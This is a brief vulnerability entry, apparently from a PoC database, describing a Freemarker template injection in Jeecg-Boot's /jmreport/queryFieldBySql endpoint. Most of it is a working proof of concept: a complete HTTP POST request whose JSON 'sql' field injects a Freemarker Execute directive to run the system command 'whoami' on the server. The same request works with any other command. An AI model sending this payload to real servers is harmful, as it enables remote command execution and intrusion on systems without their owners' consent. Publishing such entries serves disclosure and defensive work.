Jeecg-Boot Freemarker /jmreport/queryFieldBySql 模版注入漏洞

2023-08-13 Jeecg PoC Public

Description

Jeecg-Boot Freemarker /queryFieldBySql 模版注入漏洞

PoC

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 100
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/303e5415-c11d-4a5d-8f81-b5279d264262

References

Related Vulnerabilities